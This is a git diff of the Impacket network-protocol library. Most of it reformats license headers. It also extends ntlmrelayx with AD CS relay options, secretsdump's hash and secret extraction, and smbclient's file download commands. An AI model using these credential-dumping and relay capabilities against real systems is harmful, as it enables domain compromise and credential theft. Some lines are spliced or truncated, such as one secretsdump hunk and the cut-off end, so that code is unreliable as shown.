a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index a18f202fa7..d447eb8509 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -1,17 +1,23 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Config utilities +# Description: +# Config utilities +# +# Configuration class which holds the config specified on the +# command line, this can be passed to the tools' servers and clients # # Author: # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # -# Description: -# Configuration class which holds the config specified on the -# command line, this can be passed to the tools' servers and clients +from impacket.examples.utils import parse_credentials + + class NTLMRelayxConfig: def __init__(self): @@ -88,6 +94,10 @@ def __init__(self): # WebDAV options self.serve_image = False + # AD CS attack options + self.isADCSAttack = False + self.template = None + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -168,10 +178,7 @@ def setMSSQLOptions(self, queries): def setRPCOptions(self, rpc_mode, rpc_use_smb, auth_smb, hashes_smb, rpc_smb_port): self.rpc_mode = rpc_mode self.rpc_use_smb = rpc_use_smb - - import re - auth_re = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?') - self.smbdomain, self.smbuser, self.smbpass = auth_re.match(auth_smb).groups('') + self.smbdomain, self.smbuser, self.smbpass = parse_credentials(auth_smb) if hashes_smb is not None: self.smblmhash, self.smbnthash = hashes_smb.split(':') @@ -205,3 +212,9 @@ def setExploitOptions(self, remove_mic, remove_target): def setWebDAVOptions(self, serve_image): self.serve_image = serve_image + + def setADCSOptions(self, template): + self.template = template + + def setIsADCSAttack(self, isADCSAttack): + self.isADCSAttack = isADCSAttack diff --git a/impacket/examples/ntlmrelayx/utils/enum.py b/impacket/examples/ntlmrelayx/utils/enum.py index 4f582f23ab..cf2e3bb9d6 100644 --- a/impacket/examples/ntlmrelayx/utils/enum.py +++ b/impacket/examples/ntlmrelayx/utils/enum.py @@ -1,17 +1,19 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Config utilities +# Description: +# Config utilities +# +# Helpful enum methods for discovering local admins through SAMR and LSAT # # Author: -# Ronnie Flathers / @ropnop +# Ronnie Flathers / @ropnop # -# Description: -# Helpful enum methods for discovering local admins through SAMR and LSAT - from impacket.dcerpc.v5 import transport, lsat, samr, lsad from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED diff --git a/impacket/examples/ntlmrelayx/utils/ssl.py b/impacket/examples/ntlmrelayx/utils/ssl.py index a17877b4e5..a6f791d54d 100644 --- a/impacket/examples/ntlmrelayx/utils/ssl.py +++ b/impacket/examples/ntlmrelayx/utils/ssl.py @@ -1,24 +1,27 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# SSL utilities +# Description: +# SSL utilities # -# Author: -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) +# Various functions and classes for SSL support: +# - generating certificates +# - creating SSL capable SOCKS protocols # -# Description: -# Various functions and classes for SSL support: -# - generating certificates -# - creating SSL capable SOCKS protocols +# Most of the SSL generation example code comes from the pyopenssl examples +# https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py +# +# Made available under the Apache license by the pyopenssl team +# See https://github.com/pyca/pyopenssl/blob/master/LICENSE # -# Most of the SSL generation example code comes from the pyopenssl examples -# https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py +# Author: +# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # -# Made available under the Apache license by the pyopenssl team -# See https://github.com/pyca/pyopenssl/blob/master/LICENSE from OpenSSL import crypto, SSL from impacket import LOG diff --git a/impacket/examples/ntlmrelayx/utils/targetsutils.py b/impacket/examples/ntlmrelayx/utils/targetsutils.py index 533a27dfd1..88a5532e42 100644 --- a/impacket/examples/ntlmrelayx/utils/targetsutils.py +++ b/impacket/examples/ntlmrelayx/utils/targetsutils.py @@ -1,35 +1,35 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Target utilities +# Description: +# Target utilities # -# Author: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# Classes for handling specified targets and keeping state of which targets have been processed +# Format of targets are based in URI syntax +# scheme://netloc/path +# where: +# scheme: the protocol to target (e.g. 'smb', 'mssql', 'all') +# netloc: int the form of domain\username@host:port (domain\username and port are optional, and don't forget +# to escape the '\') +# path: only used by specific attacks (e.g. HTTP attack). # -# Description: -# Classes for handling specified targets and keeping state of which targets have been processed -# Format of targets are based in URI syntax -# scheme://netloc/path -# where: -# scheme: the protocol to target (e.g. 'smb', 'mssql', 'all') -# netloc: int the form of domain\username@host:port (domain\username and port are optional, and don't forget -# to escape the '\') -# path: only used by specific attacks (e.g. HTTP attack). +# Some examples: +# smb://1.1.1.1: It will target host 1.1.1.1 (protocol SMB) with any user connecting +# mssql://contoso.com\joe@10.1.1.1: It will target host 10.1.1.1 (protocol MSSQL) only when contoso.com\joe is +# connecting. # -# Some examples: +# Author: +# Alberto Solino (@agsolino) +# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # -# smb://1.1.1.1: It will target host 1.1.1.1 (protocol SMB) with any user connecting -# mssql://contoso.com\joe@10.1.1.1: It will target host 10.1.1.1 (protocol MSSQL) only when contoso.com\joe is -# connecting. +# ToDo: +# [ ]: Expand the ALL:// to all the supported protocols # -# ToDo: -# [ ]: Expand the ALL:// to all the supported protocols - - import os import random import time @@ -130,7 +130,7 @@ def getTarget(self, identity=None): if len(self.generalCandidates) > 0: if identity is not None: for target in self.generalCandidates: - tmpTarget = '%s://%s@%s' % (target.scheme, identity.replace('/','\\'), target.netloc) + tmpTarget = '%s://%s@%s' % (target.scheme, identity.replace('/', '\\'), target.netloc) match = [x for x in self.finishedAttacks if x.geturl().upper() == tmpTarget.upper()] if len(match) == 0: self.generalCandidates.remove(target) @@ -144,12 +144,16 @@ def getTarget(self, identity=None): self.generalCandidates = [x for x in self.originalTargets if x not in self.finishedAttacks and x.username is None] - if len(self.generalCandidates) == 0 and len(self.namedCandidates) == 0: - #We are here, which means all the targets are already exhausted by the client - LOG.info("All targets processed!") + if len(self.generalCandidates) == 0: + if len(self.namedCandidates) == 0: + # We are here, which means all the targets are already exhausted by the client + LOG.info("All targets processed!") + elif identity is not None: + # This user has no more targets + LOG.debug("No more targets for user %s" % identity) return None - - return None + else: + return self.getTarget(identity) class TargetsFileWatcher(Thread): def __init__(self,targetprocessor): diff --git a/impacket/examples/ntlmrelayx/utils/tcpshell.py b/impacket/examples/ntlmrelayx/utils/tcpshell.py index 2661f4c5f0..008f468c31 100644 --- a/impacket/examples/ntlmrelayx/utils/tcpshell.py +++ b/impacket/examples/ntlmrelayx/utils/tcpshell.py @@ -1,17 +1,20 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# TCP interactive shell +# Description: +# TCP interactive shell +# +# Launches a TCP shell for interactive use of clients +# after successful relaying # # Author: -# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # -# Description: -# Launches a TCP shell for interactive use of clients -# after successful relaying import socket #Default listen port port = 11000 diff --git a/impacket/examples/os_ident.py b/impacket/examples/os_ident.py index 6c9c59ca1e..b30b3e6ef1 100644 --- a/impacket/examples/os_ident.py +++ b/impacket/examples/os_ident.py @@ -1,22 +1,12 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This computer software is owned by Core SDI Inc. and is -# protected by U.S. copyright laws and other laws and by international -# treaties. This computer software is furnished by CORE SDI Inc. -# pursuant to a written license agreement and may be used, copied, -# transmitted, and stored only in accordance with the terms of such -# license and with the inclusion of the above copyright notice. This -# computer software or any other copies thereof may not be provided or -# otherwise made available to any other person. +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. # -#` -# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED -# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE -# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR -# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF -# THIS SOFTWARE +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -#-- + import math import array from six.moves import xrange, reduce diff --git a/impacket/examples/remcomsvc.py b/impacket/examples/remcomsvc.py index b89725c92d..30b1312c9e 100644 --- a/impacket/examples/remcomsvc.py +++ b/impacket/examples/remcomsvc.py @@ -1,20 +1,23 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# REMCOMSVC library. It provides a way to retrieve the RemComSvc binary file to be -# uploaded to the target machine. This is used by psexec and smbrelayx +# Description: +# REMCOMSVC library. It provides a way to retrieve the RemComSvc binary file to be +# uploaded to the target machine. This is used by psexec and smbrelayx. # -# If you want to compile this file yourself, get the source code from -# https://github.com/kavika13/RemCom, compile RemComSvc project, and -# dump the binary (hexlify) in this file, on the REMCOMSVC variable +# If you want to compile this file yourself, get the source code from +# https://github.com/kavika13/RemCom, compile RemComSvc project, and +# dump the binary (hexlify) in this file, on the REMCOMSVC variable # # Author: -# Alberto Solino (@agsolino) +# Alberto Solino (@agsolino) # -# Copyright note in remcomsvc.cpp: +# Copyright and licensing note in remcomsvc.cpp: # # Copyright (c) 2006 Talha Tariq [ talha.tariq@gmail.com ] # All rights are reserved. diff --git a/impacket/examples/rpcdatabase.py b/impacket/examples/rpcdatabase.py index e40f4124c0..e3429c0917 100644 --- a/impacket/examples/rpcdatabase.py +++ b/impacket/examples/rpcdatabase.py @@ -1,13 +1,16 @@ -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: A list of DCE/RPC UUIDs to bruteforce +# Description: +# A list of DCE/RPC UUIDs to bruteforce # # Author: -# Catalin Patulea +# Catalin Patulea # import struct diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index 82b9162e8b..fd2211f789 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -1,54 +1,59 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: Performs various techniques to dump hashes from the -# remote machine without executing any agent there. -# For SAM and LSA Secrets (including cached creds) -# we try to read as much as we can from the registry -# and then we save the hives in the target system -# (%SYSTEMROOT%\\Temp dir) and read the rest of the -# data from there. -# For NTDS.dit we either: -# a. Get the domain users list and get its hashes -# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() -# call, replicating just the attributes we need. -# b. Extract NTDS.dit via vssadmin executed with the -# smbexec approach. -# It's copied on the temp dir and parsed remotely. +# Description: +# Performs various techniques to dump hashes from the +# remote machine without executing any agent there. +# For SAM and LSA Secrets (including cached creds) +# we try to read as much as we can from the registry +# and then we save the hives in the target system +# (%SYSTEMROOT%\\Temp dir) and read the rest of the +# data from there. +# For NTDS.dit we either: +# a. Get the domain users list and get its hashes +# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() +# call, replicating just the attributes we need. +# b. Extract NTDS.dit via vssadmin executed with the +# smbexec approach. +# It's copied on the temp dir and parsed remotely. # -# The script initiates the services required for its working -# if they are not available (e.g. Remote Registry, even if it is -# disabled). After the work is done, things are restored to the -# original state. +# The script initiates the services required for its working +# if they are not available (e.g. Remote Registry, even if it is +# disabled). After the work is done, things are restored to the +# original state. # # Author: # Alberto Solino (@agsolino) # -# References: Most of the work done by these guys. I just put all -# the pieces together, plus some extra magic. -# -# https://github.com/gentilkiwi/kekeo/tree/master/dcsync -# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html -# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html -# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html -# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 -# https://code.google.com/p/creddump/ -# https://lab.mediaservice.net/code/cachedump.rb -# https://insecurety.net/?p=768 -# http://www.beginningtoseethelight.org/ntsecurity/index.htm -# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf -# https://www.passcape.com/index.php?section=blog&cmd=details&id=15 +# References: +# Most of the work done by these guys. I just put all +# the pieces together, plus some extra magic. +# - https://github.com/gentilkiwi/kekeo/tree/master/dcsync +# - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html +# - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html +# - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html +# - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 +# - https://code.google.com/p/creddump/ +# - https://lab.mediaservice.net/code/cachedump.rb +# - https://insecurety.net/?p=768 +# - http://www.beginningtoseethelight.org/ntsecurity/index.htm +# - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf +# - https://www.passcape.com/index.php?section=blog&cmd=details&id=15 # from __future__ import division from __future__ import print_function import codecs +import json import hashlib import logging import ntpath import os +import re import random import string import time @@ -100,7 +105,7 @@ class SAM_KEY_DATA(Structure): ('Reserved',' Answer: %s" % qk['answer']) + output = '\n'.join(output) + secret = 'Security Questions for user %s: \n%s' % (sid, output) + else: + LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version'])) + LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.") + secret = json.dumps(strDecoded, indent=4) if secret != '': printableSecret = secret @@ -1857,6 +1889,25 @@ def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=Tr self.__justUser = justUser self.__perSecretCallback = perSecretCallback + # these are all the columns that we need to get the secrets. + # If in the future someone finds other columns containing interesting things please extend ths table. + self.__filter_tables_usersecret = { + self.NAME_TO_INTERNAL['objectSid'] : 1, + self.NAME_TO_INTERNAL['dBCSPwd'] : 1, + self.NAME_TO_INTERNAL['name'] : 1, + self.NAME_TO_INTERNAL['sAMAccountType'] : 1, + self.NAME_TO_INTERNAL['unicodePwd'] : 1, + self.NAME_TO_INTERNAL['sAMAccountName'] : 1, + self.NAME_TO_INTERNAL['userPrincipalName'] : 1, + self.NAME_TO_INTERNAL['ntPwdHistory'] : 1, + self.NAME_TO_INTERNAL['lmPwdHistory'] : 1, + self.NAME_TO_INTERNAL['pwdLastSet'] : 1, + self.NAME_TO_INTERNAL['userAccountControl'] : 1, + self.NAME_TO_INTERNAL['supplementalCredentials'] : 1, + self.NAME_TO_INTERNAL['pekList'] : 1, + + } + def getResumeSessionFile(self): return self.__resumeSession.getFileName() @@ -1865,7 +1916,7 @@ def __getPek(self): peklist = None while True: try: - record = self.__ESEDB.getNextRow(self.__cursor) + record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret) except: LOG.error('Error while calling getNextRow(), trying the next one') continue @@ -2385,7 +2436,7 @@ def dump(self): # Now let's keep moving through the NTDS file and decrypting what we find while True: try: - record = self.__ESEDB.getNextRow(self.__cursor) + record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret) except: LOG.error('Error while calling getNextRow(), trying the next one') continue @@ -2472,15 +2523,15 @@ def dump(self): for user in resp['Buffer']['Buffer']: userName = user['Name'] - userSid = self.__remoteOps.ridToSid(user['RelativeId']) + userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId']) if resumeSid is not None: # Means we're looking for a SID before start processing back again - if resumeSid == userSid.formatCanonical(): + if resumeSid == userSid: # Match!, next round we will back processing - LOG.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical()) + LOG.debug('resumeSid %s reached! processing users from now on' % userSid) resumeSid = None else: - LOG.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical()) + LOG.debug('Skipping SID %s since it was processed already' % userSid) continue # Let's crack the user sid into DS_FQDN_1779_NAME @@ -2489,7 +2540,7 @@ def dump(self): # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, - name=userSid.formatCanonical()) + name=userSid) if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: @@ -2519,7 +2570,7 @@ def dump(self): LOG.error(str(e)) # Saving the session state - self.__resumeSession.writeResumeData(userSid.formatCanonical()) + self.__resumeSession.writeResumeData(userSid) enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] diff --git a/impacket/examples/serviceinstall.py b/impacket/examples/serviceinstall.py index e734c5b95e..edfab6d1b4 100644 --- a/impacket/examples/serviceinstall.py +++ b/impacket/examples/serviceinstall.py @@ -1,17 +1,20 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Service Install Helper library used by psexec and smbrelayx -# You provide an already established connection and an exefile -# (or class that mimics a file class) and this will install and -# execute the service, and then uninstall (install(), uninstall(). -# It tries to take care as much as possible to leave everything clean. +# Description: +# Service Install Helper library used by psexec and smbrelayx +# You provide an already established connection and an exefile +# (or class that mimics a file class) and this will install and +# execute the service, and then uninstall (install(), uninstall(). +# It tries to take care as much as possible to leave everything clean. # # Author: -# Alberto Solino (@agsolino) +# Alberto Solino (@agsolino) # import random diff --git a/impacket/examples/smbclient.py b/impacket/examples/smbclient.py index 2480f5fae8..c8a09877c4 100755 --- a/impacket/examples/smbclient.py +++ b/impacket/examples/smbclient.py @@ -1,20 +1,23 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: Mini shell using some of the SMB funcionality of the library +# Description: +# Mini shell using some of the SMB funcionality of the library # # Author: -# Alberto Solino (@agsolino) -# +# Alberto Solino (@agsolino) # # Reference for: -# SMB DCE/RPC +# SMB DCE/RPC # from __future__ import division from __future__ import print_function +from io import BytesIO import sys import time import cmd @@ -29,6 +32,8 @@ FILE_READ_DATA, FILE_SHARE_READ, FILE_SHARE_WRITE from impacket.smb3structs import FILE_DIRECTORY_FILE, FILE_LIST_DIRECTORY +import chardet + # If you wanna have readline like functionality in Windows, install pyreadline try: @@ -111,6 +116,8 @@ def do_help(self,line): rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path + mget {mask} - downloads all files from the current directory matching the provided mask + cat {filename} - reads the filename from the current path mount {target,path} - creates a mount point from {path} to {target} (admin required) umount {path} - removes the mount point at {path} without deleting the directory (admin required) list_snapshots {path} - lists the vss snapshots for the specified path @@ -445,6 +452,32 @@ def complete_get(self, text, line, begidx, endidx, include = 1): else: return items + def do_mget(self, mask): + if mask == '': + LOG.error("A mask must be provided") + return + if self.tid is None: + LOG.error("No share selected") + return + self.do_ls(mask,display=False) + if len(self.completion) == 0: + LOG.error("No files found matching the provided mask") + return + for file_tuple in self.completion: + if file_tuple[1] == 0: + filename = file_tuple[0] + filename = filename.replace('/', '\\') + fh = open(ntpath.basename(filename), 'wb') + pathname = ntpath.join(self.pwd, filename) + try: + LOG.info("Downloading %s" % (filename)) + self.smb.getFile(self.share, pathname, fh.write) + except: + fh.close() + os.remove(filename) + raise + fh.close() + def do_get(self, filename): if self.tid is None: LOG.error("No share selected") @@ -460,6 +493,31 @@ def do_get(self, filename): raise fh.close() + def do_cat(self, filename): + if self.tid is None: + LOG.error("No share selected") + return + filename = filename.replace('/','\\') + fh = BytesIO() + pathname = ntpath.join(self.pwd,filename) + try: + self.smb.getFile(self.share, pathname, fh.write) + except: + raise + output = fh.getvalue() + encoding = chardet.detect(output)["encoding"] + error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?" + if encoding: + try: + print(output.decode(encoding)) + except: + print(error_msg) + finally: + fh.close() + else: + print(error_msg) + fh.close() + def do_close(self, line): self.do_logoff(line) diff --git a/impacket/examples/utils.py b/impacket/examples/utils.py new file mode 100644 index 0000000000..1be8c6db2a --- /dev/null +++ b/impacket/examples/utils.py @@ -0,0 +1,60 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Utility and helper functions for the example scripts +# +# Author: +# Martin Gallo (@martingalloar) +# +import re + + +# Regular expression to parse target information +target_regex = re.compile(r"(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)") + + +# Regular expression to parse credentials information +credential_regex = re.compile(r"(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?") + + +def parse_target(target): + """ Helper function to parse target information. The expected format is: + + <:PASSWORD>@HOSTNAME + + :param target: target to parse + :type target: string + + :return: tuple of domain, username, password and remote name or IP address + :rtype: (string, string, string, string) + """ + domain, username, password, remote_name = target_regex.match(target).groups('') + + # In case the password contains '@' + if '@' in remote_name: + password = password + '@' + remote_name.rpartition('@')[0] + remote_name = remote_name.rpartition('@')[2] + + return domain, username, password, remote_name + + +def parse_credentials(credentials): + """ Helper function to parse credentials information. The expected format is: + + <:PASSWORD> + + :param credentials: credentials to parse + :type credentials: string + + :return: tuple of domain, username and password + :rtype: (string, string, string) + """ + domain, username, password = credential_regex.match(credentials).groups('') + + return domain, username, password diff --git a/impacket/helper.py b/impacket/helper.py index f56054b902..8694475fbb 100644 --- a/impacket/helper.py +++ b/impacket/helper.py @@ -1,15 +1,17 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# Helper used to build ProtocolPackets +# Helper used to build ProtocolPackets # # Author: -# Aureliano Calvo - +# Aureliano Calvo +# import struct import functools @@ -100,9 +102,9 @@ def __init__(self, index): Field.__init__(self, index) def getter(self, o): - b=o.header.get_bytes()[self.index:self.index+3].tostring() + b = ip.array_tobytes(o.header.get_bytes()[self.index:self.index+3]) #unpack requires a string argument of length 4 and b is 3 bytes long - (value,)=struct.unpack('!L', b'\x00'+b) + (value,) = struct.unpack('!L', b'\x00'+b) return value def setter(self, o, value): diff --git a/impacket/hresult_errors.py b/impacket/hresult_errors.py index 7f7eb06c3c..a08d360c16 100644 --- a/impacket/hresult_errors.py +++ b/impacket/hresult_errors.py @@ -1,14 +1,17 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (beto@coresecurity.com) -# # Description: # HRESULT Errors from [MS-ERREF]. Ideally all the files -# should grab the error codes from here (big ToDo) +# should grab the error codes from here (big ToDo) +# +# Author: +# Alberto Solino (@agsolino) # ERROR_MESSAGES = { @@ -194,7 +197,7 @@ 0x80004014: ("CO_E_BAD_SERVER_NAME", "A Remote activation was necessary, but the server name provided was invalid."), 0x80004015: ("CO_E_WRONG_SERVER_IDENTITY", "The class is configured to run as a security ID different from the caller."), 0x80004016: ("CO_E_OLE1DDE_DISABLED", "Use of OLE1 services requiring Dynamic Data Exchange (DDE) Windows is disabled."), - 0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be \ or simply ."), + 0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be \\ or simply ."), 0x80004018: ("CO_E_CREATEPROCESS_FAILURE", "The server process could not be started. The path name may be incorrect."), 0x80004019: ("CO_E_RUNAS_CREATEPROCESS_FAILURE", "The server process could not be started as the configured identity. The path name may be incorrect or unavailable."), 0x8000401A: ("CO_E_RUNAS_LOGON_FAILURE", "The server process could not be started because the configured identity is incorrect. Check the user name and password."), @@ -282,7 +285,7 @@ 0x80010129: ("CO_E_FAILEDTOSETDACL", "Unable to set a discretionary access control list (ACL) into a security descriptor."), 0x8001012A: ("CO_E_ACCESSCHECKFAILED", "The system function AccessCheck returned false."), 0x8001012B: ("CO_E_NETACCESSAPIFAILED", "Either NetAccessDel or NetAccessAdd returned an error code."), - 0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the \ syntax and it was not the *\" string\"."), + 0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the \\ syntax and it was not the *\" string\"."), 0x8001012D: ("CO_E_INVALIDSID", "One of the security identifiers provided by the user was invalid."), 0x8001012E: ("CO_E_CONVERSIONFAILED", "Unable to convert a wide character trustee string to a multiple-byte trustee string."), 0x8001012F: ("CO_E_NOMATCHINGSIDFOUND", "Unable to find a security identifier that corresponds to a trustee string provided by the user."), diff --git a/impacket/http.py b/impacket/http.py index 800d001198..6b07ebaaa4 100644 --- a/impacket/http.py +++ b/impacket/http.py @@ -1,17 +1,19 @@ -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Authors: -# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) -# # Description: -# For MS-RPCH -# Can be programmed to be used in relay attacks +# For MS-RPCH +# Can be programmed to be used in relay attacks +# Probably for future MAPI +# +# Authors: +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # -# Probably for future MAPI import re import ssl diff --git a/impacket/krb5/__init__.py b/impacket/krb5/__init__.py index 2ae28399f5..b2b0c68da4 100644 --- a/impacket/krb5/__init__.py +++ b/impacket/krb5/__init__.py @@ -1 +1,9 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# pass diff --git a/impacket/krb5/asn1.py b/impacket/krb5/asn1.py index f9b58495db..78d668fae3 100644 --- a/impacket/krb5/asn1.py +++ b/impacket/krb5/asn1.py @@ -1,3 +1,21 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Changed some of the classes names to match the RFC 4120 +# Added [MS-KILE] data +# Adapted to Enum +# +# Author: +# Altered source by Alberto Solino (@agsolino) +# +# Copyright and license note from asn1.py: +# # Copyright (c) 2013, Marc Horowitz # All rights reserved. # @@ -24,14 +42,6 